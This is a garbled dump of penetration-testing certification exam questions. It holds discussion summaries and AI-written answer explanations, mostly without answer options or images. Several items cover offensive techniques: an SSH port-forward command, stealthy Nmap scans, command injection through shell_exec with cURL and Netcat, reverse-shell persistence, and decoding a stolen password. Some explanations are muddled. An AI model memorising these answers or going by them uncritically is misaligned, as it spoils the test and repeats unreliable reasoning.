\nWhy other options are incorrect:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal
Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:![](\"topic_1_question_91/image_0.png\"/)
Which of the following would be the BEST command to use for further progress into the targeted network?
\n
From the internet discussion, the conclusion of the answer to this question is C. nc 127.0.0.1 5555, which the reason is that this command allows the penetration tester to connect to the Sendmail server on port 25, which is forwarded to the local port 5555, to further progress into the targeted network. Other options are not correct because they do not specify the correct port or use incorrect syntax, such as those related to SSH.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C.
\nThe question describes a scenario where a penetration tester has already established a port forward from the target's port 25 (Sendmail) to the attacker's local port 5555 using `ssh -L 5555:10.10.1.2:25 root@10.10.1.2`. The goal is to now interact with the Sendmail service.
\nThe best command to achieve this is `nc 127.0.0.1 5555`. This command uses `nc` (netcat) to connect to the local machine (127.0.0.1) on port 5555, which is tunneled to the target's Sendmail server on port 25. This allows the attacker to interact with the Sendmail service and potentially exploit it further.
\nHere's why the other options are not the best choice:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:![](\"topic_1_question_92/image_0.png\"/)
Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
\n
From the internet discussion from Q2 2023 to Q4 2024, the conclusion of the answer to this question is BD, which the reason is that ports 53 (DNS) and 80 (HTTP) are open and mentioned in the answers. Some comments initially suggested other answers, such as BC, but later corrected to BD.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of BD.
\nReasoning: The Nmap output shows that port 53 (DNS) and port 80 (HTTP) are open. Open ports represent potential attack vectors, and services running on these ports are therefore more likely to be exploited. DNS is often targeted for DNS amplification attacks or DNS spoofing, while HTTP is commonly attacked via web application vulnerabilities.
\nWhy other options are less likely:\n
\nSupporting evidence for choosing BD:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following expressions in Python increase a variable val by one? (Choose two.)
\n
Based on the internet discussion from Q2 2021 to Q2 2025, the consensus is that the correct answers are CF. The reasoning is based on the comments that directly states \"Correct answer\", or \"C & F are correct\" and \"The only ones that say + 1 lol.\".\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C and F.
\nReasoning:
\nIn Python, the following expressions increase a variable `val` by one:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?
\n
Agree with Suggested Answer From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is C, which the reason is that the -T0 option in Nmap sets the timing template to the slowest possible speed, making the scan very slow, but also making it less likely to be detected by intrusion detection systems. Additionally, some comments support option B, arguing that the -P0 option disables host discovery which makes the scan quieter, however, the consensus is that -T0 is the best answer because it controls the timing and aggressiveness of the scan, therefore, making it less likely to be detected.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer C. The question asks for the Nmap command that gives the LEAST chance of detection, indicating a requirement for a stealthy scan.
\n
\nReasoning:
\n
\nReasons for not choosing other answers:
\n
In summary, the -T0 option provides the slowest and least detectable scan.
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wrote the following script to be used in one engagement:![](\"topic_1_question_95/image_0.png\"/)
Which of the following actions will this script perform?
\n
Based on the internet discussion from Q1 2023 to Q4 2024, the conclusion is that the answer to this question is A. The reasoning, as supported by several comments, indicates that A is the correct answer.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A (Look for open ports).
\nThe script utilizes the `nmap` command with the `-p-` option. This option tells `nmap` to scan all 65535 ports on the target IP address (192.168.1.74). Therefore, the script is designed to identify open ports on the specified target.
\nHere's why the other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?
\n
Based on the internet discussion from Q2 2021 to Q1 2025, the consensus is to agree with the suggested answer B. Remediate the findings, which is the correct next step after the board has accepted the penetration test report. The reasoning is that remediation is the most essential step to address the identified vulnerabilities, especially those rated as high, to ensure the security of the system. Other options like performing a new penetration test or broadening the scope are incorrect because they are unnecessary at this point. Providing a list of common vulnerabilities and exposures is also not the next step, as this should have been identified in the initial test.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, B. Remediate the findings.
\nThe immediate next step after a penetration test report with high-rated findings has been accepted by the board should be to remediate those findings. This directly addresses the identified vulnerabilities and reduces the organization's risk exposure.
\nHere's why the other options are not the best next step:\n
\nThe focus should be on fixing the vulnerabilities found during the penetration test.\n
"}, {"folder_name": "topic_1_question_97", "topic": "1", "question_num": "97", "question": "Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following situations would require a penetration tester to notify the emergency contact for the engagement?
\n
From the internet discussion, which included from Q2 2023 to Q3 2024, the conclusion of the answer to this question is D. The team discovers another actor on a system on the network, which the reason is that this situation represents an immediate risk to the organization. Option B, exfiltrating PII or credit card data, is also important but might be part of the planned scope or something to be reported in the final report. The emergency contact is for unexpected and potentially harmful encounters.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of D. The team discovers another actor on a system on the network.
\nReasoning: Discovering another actor on a system during a penetration test indicates an active and unauthorized presence within the network, representing an immediate and critical security risk. This situation necessitates immediate notification of the emergency contact so they can take action to contain the breach and mitigate potential damage.
\nOptions A and B, while serious, fall more into the expected scope of a penetration test, especially if pre-approved actions or discoveries are within the agreed-upon rules of engagement.
\nOption C, losing remote access, is an inconvenience but not necessarily an emergency requiring immediate notification, unless it's due to some malicious activity that affects other services of the organization.
\nThe reason for not choosing the other answers is:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an engagement, a penetration tester found the following list of strings inside a file:![](\"topic_1_question_98/image_0.png\"/)
Which of the following is the BEST technique to determine the known plaintext of the strings?
\n
Agree with Suggested Answer. From the internet discussion from Q2 2022 to Q2 2024, the conclusion of the answer to this question is B. Rainbow table attack, which the reason is that a rainbow table attack is a method used to break hashed passwords by using precomputed tables of hash values for known plaintexts. This approach is more efficient than brute-force attacks as it significantly reduces the time needed to crack passwords by leveraging these precomputed tables. Rainbow tables are used to crack password hashes by looking up the hash in the table and finding the corresponding plaintext value. It's often a more efficient way to discover the plaintext value of known hash functions compared to brute-force or dictionary attacks, especially if the hashes are not salted. Other opinions mentioned AES256 encryption, but this option is not correct as it is a more complex concept.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of B. Rainbow table attack.
\nReasoning: The question asks for the BEST technique to determine the known plaintext of the given strings. The strings in the image appear to be hash values. A rainbow table attack is a precomputed table used for reversing cryptographic hash functions. It is particularly effective when the goal is to find the plaintext corresponding to a given hash, assuming the hash algorithm is known. The hashes listed in the image are relatively short which makes rainbow table attack a suitable option.
\nWhy other options are less suitable:\n
\n Therefore, considering the efficiency and suitability for reversing hashes, a rainbow table attack is the best technique among the choices provided.\n
\nThe AI agrees that AES256 encryption mentioned in the discussion summary is a more complex concept and not the best approach to address the question.
\n\nSuggested Answer: B. Rainbow table attack\n
\n\nReason: Rainbow tables are precomputed tables used for reversing cryptographic hash functions. They are particularly useful when trying to find the plaintext of a given hash.
\nOther options: A dictionary attack relies on trying common words and phrases, a brute-force attack tries every possible combination, and credential stuffing uses known username/password pairs. These methods are less efficient for reversing known hashes than using a rainbow table.\n
\nThe AI recommends Rainbow table attack (Option B).\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester ran a simple Python-based scanner. The following is a snippet of the code:![](\"topic_1_question_99/image_0.png\"/)
Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?
\n
From the internet discussion, spanning from Q2 2022 to Q3 2024, the consensus answer to this question is B, because the code is performing a port scan. The reasoning is that the script populates the portList with a numerical range of ports from 1 to 1024 and sequentially attempts connections to these ports. This behavior is characteristic of a port scan and is often detected by Intrusion Detection Systems (IDS). The comments highlight that the answer A is incorrect because the timeout is set to 20 seconds, not milliseconds, which is a reasonable timeframe, and C & D are incorrect as they don't explain why the alert was triggered.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B.
\nReasoning: The provided Python script iterates through ports 1 to 1024 in numerical order, attempting to establish a TCP connection with each. This sequential connection attempt across a range of ports is the defining characteristic of a port scan. Intrusion Detection Systems (IDS) are designed to recognize such patterns and generate alerts, hence the \"probable port scan\" alert being triggered. The script's behavior directly aligns with the typical methodology of a port scan, making option B the most accurate explanation. A port scan is a common technique used to discover open ports and services on a target system, which can then be further investigated for vulnerabilities. \n
\nWhy other options are incorrect:\n
The most salient behavior in the code snippet that triggers the IDS alert is the rapid, sequential scanning of ports from 1 to 1024. Therefore, option B is the most accurate.
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)
\n
The consensus from discussions spanning from Q2 2023 to Q2 2024 agrees with the answer of DE. The reasoning provided emphasizes the critical need for a dedicated point of contact at the client and the necessary paperwork documenting the engagement. These are crucial for communication and to prove the legitimacy of the penetration test, especially if questioned by security or law enforcement. Some comments also mentioned that having the contact information and documentation acts as a \"Get Out Of Jail Free card.\" Another answer suggested DF, but this opinion did not receive as much agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer DE.
\n
\nReasoning:
\nChoices D and E are the most important for a penetration tester during an authorized physical penetration test, especially during non-business hours:
\n
\nIn Summary: The primary concern during a physical penetration test, especially outside of normal business hours, is to be able to prove authorization and have a contact to verify that authorization if challenged. Documentation and a dedicated point of contact are therefore the most important.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester receives the following results from an Nmap scan:![](\"topic_1_question_101/image_0.png\"/)
Which of the following OSs is the target MOST likely running?
\n
Based on the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is C: Windows Server, which the reason is that the presence of the closed port 3389 (RDP) along with the closed port 139 (NetBIOS) strongly indicates a Windows-based system. Many comments highlight that RDP is a service primarily used on Windows, and the closed state of RDP indicates a Windows OS. Other opinions suggest that the open ports 21 and 80 are common for Linux server, but the presence of a closed RDP port is a strong indication of Windows. Also, the comments mentioned that even though the ports are closed, nmap still identifies them, and RDP does not exist on Linux systems.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C: Windows Server.
\nReasoning: The Nmap scan results show port 3389 (RDP) as closed. RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. It is commonly associated with Windows operating systems. The presence of a closed RDP port is a strong indicator of a Windows system. Additionally, port 139 (NetBIOS) is also closed which also indicates a Windows system.
\nReasons for not choosing other options:\n
\nSuggested Answer: C: Windows Server\n
"}, {"folder_name": "topic_1_question_102", "topic": "1", "question_num": "102", "question": "A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?
\n
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. Capture traffic using Wireshark, which the reason is because FTP is not a secure protocol and transmits usernames and passwords in clear text, making it possible to capture credentials using a packet analyzer like Wireshark. Other options are incorrect because they are related to other types of attacks and not specifically designed for obtaining FTP credentials. FTPS is the secure version of FTP and does not transmit data in clear text.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B. Capture traffic using Wireshark.
\nReasoning:
\nGiven the scenario of a penetration tester aiming to obtain FTP credentials via an on-path attack, capturing network traffic using Wireshark is the most direct and effective method. FTP (File Transfer Protocol) transmits data, including usernames and passwords, in plaintext by default. By positioning a workstation on the network path between the client and the FTP server, the attacker can intercept this traffic and extract the credentials using Wireshark or a similar packet analyzer.
\nWhy other options are not the best:
\n
Therefore, capturing traffic using Wireshark is the best method for obtaining FTP credentials in an on-path attack scenario.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAppending string values onto another string is called:
\n
From the internet discussion, the conclusion of the answer to this question is C. concatenation, which the reason is appending string values onto another string is called concatenation. In this process, two or more strings are combined to create a new string that contains the original strings in the order they were joined.. The comments also indicates that B is incorrect, because the correct answer is C.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer.
\n The recommended answer is C. concatenation.
\nReasoning:
\n The question asks for the term that describes appending string values onto another string. The correct term for this operation is concatenation. Concatenation involves combining two or more strings to create a single, new string.
\nWhy other options are incorrect:
\n
\nCitation:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA consultant is reviewing the following output after reports of intermittent connectivity issues:![](\"topic_1_question_104/image_0.png\"/)
Which of the following is MOST likely to be reported by the consultant?
\n
Agree with Suggested Answer From the internet discussion from Q2 2021 to Q2 2024, the conclusion of the answer to this question is D. A device on the network has poisoned the ARP cache., which the reason is the ARP cache shows multiple IP addresses associated with the same MAC address, indicating a potential ARP cache poisoning attack.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI assistant agrees with the suggested answer.
\n The most likely issue to be reported by the consultant is: D. A device on the network has poisoned the ARP cache.
\nReasoning: The provided output (image_0.png, not directly accessible) shows multiple IP addresses associated with the same MAC address. This is a strong indicator of ARP cache poisoning (also known as ARP spoofing). In a successful ARP poisoning attack, an attacker sends falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of the attacker's MAC address with the IP address of a legitimate computer or server on the network. Once the attacker's MAC address is linked to an authentic IP address, the attacker will begin receiving any data that was intended for that IP address. ARP poisoning can be used to steal data, modify traffic, or cause a denial-of-service by intercepting network traffic.
\nWhy other options are less likely:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B and E, which the reason is because OWASP focuses on web applications and B and E are the only applicable vulnerabilities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer of B and E.
\nReasoning: The question asks for web application security risks that are part of the OWASP Top 10 v2017. Cross-Site Scripting (XSS) and Injection flaws are indeed included in the OWASP Top 10. OWASP (Open Web Application Security Project) is a non-profit foundation that works to improve the security of software. Their Top 10 list represents a broad consensus about the most critical web application security risks. XSS and Injection have consistently been on this list.\n
\nReasons for not choosing other options:\n
\nTherefore, options B (Cross-site scripting) and E (Injection flaws) are the correct choices.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe results of an Nmap scan are as follows:![](\"topic_1_question_106/image_0.png\"/)
Which of the following would be the BEST conclusion about this device?
\n
Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B. This device is most likely a gateway with in-band management services, which the reason is because the open ports (22, 53, 80, and 443) suggest specific services running on the device, with SSH, DNS, HTTP and HTTPS services. Also, service info states that it is a Linux device, and the CPE suggests it is a router.
\n
\nBased on the Nmap scan results and the discussion, the AI agrees with the suggested answer B.
\nThe best conclusion about the device is that it is most likely a gateway with in-band management services.
\nReasoning:
\nThe Nmap scan reveals the following open ports:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhen preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
\n
Agree with Suggested Answer From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is A. Clarify the statement of work, which the reason is that a well-defined statement of work is crucial for setting the foundation of the engagement, establishing boundaries, and mitigating potential misunderstandings. It helps ensure that both parties are on the same page regarding the scope, objectives, and deliverables of the penetration testing engagement. Some users also mentioned that clarifying the SOW is the most important step.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is A. Clarify the statement of work.
\nReasoning: Before commencing any penetration testing activities, it is paramount to have a crystal-clear understanding of the engagement's scope, objectives, and deliverables. The Statement of Work (SOW) serves as the guiding document that outlines these critical aspects. A well-defined SOW ensures that both the penetration testers and the enterprise organization have aligned expectations, reducing the risk of misunderstandings, scope creep, and disputes. It essentially defines the \"rules of engagement.\" By clarifying the SOW, the penetration testing team can effectively plan their activities, allocate resources, and manage timelines. This proactive approach not only fosters a smooth and efficient testing process but also enhances the overall quality and value of the engagement.
\nWhy other options are less suitable:\n
\nTherefore, clarifying the statement of work is the most important item to develop fully prior to starting penetration testing activities.\n
"}, {"folder_name": "topic_1_question_108", "topic": "1", "question_num": "108", "question": "A penetration tester is reviewing the following SOW prior to engaging with a client.`Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.`Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is reviewing the following SOW prior to engaging with a client.
`Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.`
Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)
\n
Agree with Suggested Answer From the internet discussion, including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is C and D, which the reason is that these two behaviors are considered unethical. Specifically, failing to share critical vulnerabilities (C) and seeking help in underground hacker forums (D) are direct breaches of ethical responsibilities and confidentiality. Some comments mention that the other options are not inherently unethical, while some initially suggested different answers then revised their answers.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C and D.
\n
\nReasoning:
\nOption C is unethical because a penetration tester has a duty to inform the client of all critical vulnerabilities discovered during the engagement, regardless of whether it might upset senior leadership. Withholding critical information violates the trust and purpose of the penetration test, which is to improve the client's security posture.
\nOption D is unethical because sharing the client's public IP address in underground hacker forums breaches confidentiality and could expose the client to additional, unforeseen risks. The SOW specifically states that network diagrams, asset inventory, and employee names are to be treated as client confidential.
\n
\nReasons for not choosing other options:
\nOption A is not inherently unethical. Using proprietary tools is acceptable as long as they are effective and don't violate any agreements. The SOW does not restrict the use of specific tools.
\nOption B is a standard security practice. Using public-key cryptography to protect the delivery of findings is ethical and promotes confidentiality.
\nOption E is a reasonable method of data disposal. Using a software-based erase tool can be a secure way to wipe data, fulfilling the requirement to \"dispose of all findings by erasing them in a secure manner.\"
\nOption F is generally acceptable for internal business purposes. Retaining the SOW (without client-confidential information) for future planning is not inherently unethical, as it does not violate the confidentiality agreement outlined in the SOW.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.![](\"topic_1_question_109/image_0.png\"/)
Which of the following changes should the tester apply to make the script work as intended?
\n
Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B, which the reason is because removing lines 3, 5, and 6 (Option B) would at least allow the attack($ip); method to run, even if other script issues persist. Some comments mentioned that the provided script had fundamental issues.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B. The script provided has issues that prevent it from running correctly.
\nThe core issue lies in the fact that the `attack()` function is defined *after* it is called. Perl executes code sequentially unless directed otherwise by control structures like loops or subroutine calls. Therefore, when the script reaches `attack($ip);` on line 3, the `attack()` function hasn't been defined yet, causing an error. Removing lines 3, 5, and 6 bypasses this error, allowing the script to proceed (though it may still encounter other issues due to the function not being defined).
\n
\nReasoning for Choosing B:
\n
While the script has deeper issues, removing lines 3, 5, and 6 is the most direct solution to address the immediate error and align with the question's intent.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:![](\"topic_1_question_110/image_0.png\"/)
Which of the following combinations of tools would the penetration tester use to exploit this script?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Netcat and cURL, which the reason is the penetration tester would use cURL to send a HTTP POST request to the script with a crafted parameter in the 'item' field, which would then be passed to the shell_exec function and executed on the server. Netcat could be used to listen for the response or output of the command execution. Several comments highlighted that other options are not relevant to this specific script and exploit scenario.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer B (Netcat and cURL).
\nReasoning: The PHP script exhibits a command injection vulnerability in the `item` parameter, which is passed to the `shell_exec` function. To exploit this, a penetration tester would need to:\n
\n The primary tools required for direct exploitation of this command injection vulnerability are `cURL` to send the malicious request and `Netcat` to potentially receive the output.\n
\n\n
\n\nIn summary:
\n `cURL` is used to send a POST request to the PHP script with a crafted `item` parameter to inject a command.
\n `Netcat` can be used to listen for a reverse shell or the output of the injected command.\n
\n
\n\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?
\n
Agree with Suggested Answer From the internet discussion, spanning from Q2 2023 to Q2 2024, the conclusion of the answer to this question is A. Create a one-shot system service to establish a reverse shell, which the reason is creating a one-shot system service allows for a persistent connection that re-establishes itself after each reboot. Other options are not correct because they do not provide a way to maintain persistence after a reboot.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer.
\nA. Create a one-shot system service to establish a reverse shell is the most appropriate answer because it provides a reliable method for maintaining persistence after a reboot. A system service, particularly a \"one-shot\" service, can be configured to execute a reverse shell upon system startup, ensuring that the attacker regains access each time the system reboots.
\nHere's a breakdown of why the other options are less suitable:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
U3VQZXIkM2NyZXQhCg==
Which of the following commands should the tester use NEXT to decode the contents of the file?
\n
The suggested answer is correct. The question provides a string \"U3VQZXIkM2NyZXQhCg==\" found in a file named password.txt. The task is to determine the next command the penetration tester should use to decode this content.
\nThe recommended answer is:
\nA. echo U3VQZXIkM2NyZXQhCg== | base64 -d
\nReasoning:
\nThe string \"U3VQZXIkM2NyZXQhCg==\" is a base64 encoded string. The 'base64 -d' command is used to decode base64 encoded data. By piping the string to this command, the tester can reveal the original content.
Why other options are incorrect:
\nTherefore, the only command that directly addresses the decoding of the provided string is option A.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?
\n
Agree with Suggested Answer From the internet discussion from Q2 2022 to Q3 2024, the conclusion of the answer to this question is A. Asset inventory, which the reason is that an asset inventory provides a comprehensive list of all hardware and software assets, including IP addresses, hostnames, and installed software. Other options are not correct because: B. DNS records do not provide enough information about all systems; C. Web-application scans only cover web applications; and D. Full scans are time-consuming and may not be necessary for a known environment.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, A (Asset inventory).
\nReasoning: An asset inventory provides a comprehensive list of all hardware and software assets within the network, including critical information such as IP addresses, hostnames, operating systems, and installed software. This detailed information is crucial for a penetration tester to accurately identify and target systems during a vulnerability scan. Knowing the specifics of each asset allows the tester to tailor their approach and focus on relevant vulnerabilities. \n
\nWhy the other options are not the best:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?
\n
From the internet discussion, including from Q2 2024 to Q4 2024, the conclusion of the answer to this question is D. Scraping web presences and social-networking sites, which the reason is that this approach provides information about the company such as address, size, services, customer reviews, and contact information, which is useful for a penetration test's initial phase. Other options were deemed less effective or incorrect. Phishing emails (A) are not ideal for initial information gathering. Vulnerability scans (B) are an active approach and not passive reconnaissance. Vendor/supply chain research (C), while potentially useful, is not the most effective starting point.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D. Scrape web presences and social-networking sites.
\nReasoning:\n
\n
\nIn summary, scraping web presences and social-networking sites is the most appropriate passive reconnaissance technique to yield positive initial results when the only information available is the company name.
\n\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?
\n
Based on the internet discussion from Q2 2023 to Q3 2024, the consensus answer to this question is B. Reprioritizing the goals/objectives, which the reason is the client is shifting the focus of the penetration test to a specific critical network segment based on the findings, and it reflects an adjustment of the original plan or goals to better suit the current understanding of the system's security posture. The users generally agree that options like maximizing the likelihood of finding vulnerabilities, eliminating false positives, or reducing risk are incorrect because the client's intention is to prioritize resources to a specific, critical segment. The implication of finding more vulnerabilities is the side effect rather than the core reason to reprioritize.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B. Reprioritizing the goals/objectives.
\nThe client is explicitly changing the focus of the penetration test to a critical network segment. This indicates a change in the objectives or goals of the test.
\n Here's why the other options are less suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)
\n
\n Agree with Suggested Answer: From the internet discussion including the period from Q2 2023 to Q3 2024, the conclusion of the answer to this question is AF, which the reason is OWASP ZAP and Burp Suite are specifically designed for web application security testing, offering features like vulnerability scanning and HTTP request modification. Other tools like Nmap, Nessus, and Hydra are not best suited for web application security assessment because they focus on network scanning and password cracking instead.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer of AF.
\nReasoning: OWASP ZAP and Burp Suite are both powerful tools specifically designed for web application security testing. They provide a wide range of features that are essential for manual web application security assessments, including:\n
\nBased on the discussion summary and professional knowledge, OWASP ZAP and Burp Suite are the most suitable tools for manual web application security assessments due to their comprehensive features for intercepting, analyzing, and manipulating web traffic.\n
\n\nThe reason for this choice is the necessity for tools designed to interact with, analyze, and potentially manipulate web application traffic for a manual assessment, features best embodied by OWASP ZAP and Burp Suite.\n
\n\nThe other tools are not the best fit as they focus on network scanning (Nmap), system vulnerability scanning (Nessus), browser exploitation (BeEF), or password cracking (Hydra), rather than the in-depth web application analysis required for manual testing.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tRunning a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:
\n
From the internet discussion, the conclusion of the answer to this question is B, which is agreed upon by multiple users because vulnerability scanners on hybrid networks can inadvertently trigger unexpected behaviors or failures in control systems due to their network traffic, scanning techniques, or the vulnerabilities being scanned. Other answers were considered incorrect because: A is incorrect because vulnerability scanners are not designed to detect vulnerabilities in specific protocols; C is incorrect because vulnerability scans increase the true positive rate; and D is incorrect because vulnerability scans will not create a denial-of-service condition.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is B: \"may cause unintended failures in control systems.\"
\nReasoning: Running a vulnerability scanner on a hybrid network segment that includes both general IT servers and industrial control systems (ICS) can be problematic because ICS environments are often highly sensitive and have real-time operational requirements. Vulnerability scanners, by their nature, send various network probes and requests to identify potential weaknesses. In an ICS environment, these probes can inadvertently trigger unexpected behaviors or even failures in the control systems due to several factors:\n
\nTherefore, the most accurate answer is B because it directly addresses the core risk associated with running vulnerability scans on sensitive ICS environments.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following provides a matrix of common tactics and techniques uses by attackers along with recommended mitigations?
\n
From the internet discussion, the consensus answer to this question is C. MITRE ATT&CK framework, which is a matrix of common tactics and techniques used by attackers. The reason is that the MITRE ATT&CK framework provides a structured way to understand and defend against attacker behaviors, organized by stages of an attack. The comments highlight that options like NIST SP 800-53, OWASP Top 10, and PTES technical guidelines are not designed to provide a matrix of attacker tactics and techniques with mitigation strategies.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C. MITRE ATT&CK framework.
\n
\nReasoning:
